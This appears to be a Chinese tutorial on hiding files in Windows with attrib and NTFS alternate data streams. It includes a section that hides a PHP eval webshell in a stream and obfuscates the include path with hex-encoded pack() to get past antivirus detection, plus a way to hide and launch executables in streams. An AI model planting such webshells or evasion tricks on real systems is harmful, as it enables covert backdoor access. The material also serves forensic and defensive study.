一、为文件或目录设置隐藏属性

Attrib

语法

attrib [{+r|-r}] [{+a|-a}] [{+s|-s}] [{+h|-h}] [[Drive**:][Path] FileName] [/s**[/d]]

参数

+r   :设置只读文件属性。
-r :清除只读文件属性。
+a :设置存档文件属性。
-a :清除存档文件属性。
+s :设置系统文件属性。
-s :清除系统文件属性。
+h :设置隐藏文件属性。
-h :清除隐藏文件属性。
[ Drive : ][ Path ] FileName   :指定要显示或更改其属性的目录、文件或文件集的位置和名称。您可以在FileName参数中使用通配符(即 ? 和 *)来显示或更改一组文件的属性。
/ S   :适用ATTRIB任何命令行选项匹配的文件在当前目录及其所有子目录。
/ d   :适用ATTRIB和任何命令行选项目录。
/?   :在命令提示符下显示帮助。

示例

创建 1.txt ,设置文件隐藏属性

attrib +S +H 1.txt

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件流

可以使用 type 查看


设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件属性_02

显示隐藏文件也不显示 1.txt

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件流_03

二、使用 NTFS 文件属性来隐藏数据

NTFS文件流简介

NTFS 文件系统实现了多文件流特性,NTFS 环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows 资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件流_04

NTFS文件流生成步骤

在任意一个 NTFS 分区下打开 CMD 命令提示符,输入

echo hello world >> 2.txt:test.txt

则在当前目录下会生成一个名为 2.txt 的文件,文件的大小为 0字节 ,并且 2.txt 没有内容

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_安全_05

只有输入以下命令才可以查看

notepad 2.txt:test.txt

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件属性_06

在上边的命令中,2.txt 可以 不存在 ,也可以是某个 已存在 的文件,文件格式无所谓 .txt .jpg .exe .asp 都行,冒号后 test.txt 也可以任意指定文件名以及后缀名(可以将任意文本信息隐藏于任意文件中),在不泄露冒号后文件名字的情况下,很难发现。

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件属性_07

删除 宿主 文件,寄生 文件也会被删除

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件属性_08

隐藏到文件夹

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_windows_09

文件包含

echco "<?php @eval($_REQUEST[123]);?>" >> /:test.txt
echo "<?php include '/:test.txt';?>" >> 2.php

这里被 windows 检测除了后门

利用 pack()函数 解决 include 函数,将 1.php:shell.php 进行 hex 编码

<?php @include(PACK('H*','312e7068703a7368656c6c2e706870'));?>
或者
<?php 
$a="312e7068703a7368"."656c6c2e706870";
$b="a";
include(PACK('H*',$$b))
?>

三、使用备用数据流将 payload 隐藏在其他类型的文件

ADS 备用数据流是 Windows 引入的新技术文件系统(NTFS)的产物。传统上引入它是为了提供与 Macintosh 系统的旧分层文件系统(HFS)的文件共享的兼容性,其中数据可以分叉到不同的资源中,并存储称为元数据的文件的附加数据

## ADS Powershell

创建 ADS 文件,添加内容并隐藏

echo "123" > 1.txt
Set-Content 1.txt -stream text
* 位于命令管道位置 1 的 cmdlet Set-Content
* 请为以下参数提供值:
* Value[0]: hello
* Value[1]:
* 这里直接 dir 是看不到隐藏文件的也就是 b.txt:text:$DATA
Get-Content b.txt -stream text #查看目录中的所有文件

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件流_10

查看目录中的所有文件

Get-Item -path .\1.txt -stream *

设置文件隐藏属性SetFileAttributes 设置文件属性为隐藏_文件属性_11

如果将 ADS 文件从 NTFS 传输到 FAT32,将自动销毁替代数据流。(就比如将文件传到U盘),一个 ADS 文件是在 NTFS 系统中创建的,但是一旦将它传输到 FAT32 闪存驱动器,就会看提示不允许使用 ADS 复制文件。这是因为 ADS 功能是在 NTFS 中引入的,而 FAT32 并不支持

在文本文件中隐藏图像

echo helloworld > 1.txt
type hong.jpg > 1.txt:hong.jpg
del hong.jpg
dir /r

在文本文件中隐藏音频

echo Jay > 1.txt
type Jay-baisefengche.mp3 > 1.txt:Jay-baisefengche.mp3
del Jay-baisefengche.mp3
dir /r

在文本文件中隐藏exe、vbs、ps1

微软为了安全性,在windows-xp以后的操作系统(从win7开始)就不允许直接使用 start 打开 ntfs 数据流文件,而必须使用 mklink 命令来为流文件建立一个链接,然后通过这个链接文件来打开流文件,mklink 需要高权限

type calc.exe > a.txt:calc.exe
del calc.exe
start a.txt:calc.exe    // 不允许直接使用了
mklink d.exe c.txt:calc.exe // 为流文件建立一个链接

四、工具

https://github.com/wangyongxina/filestreams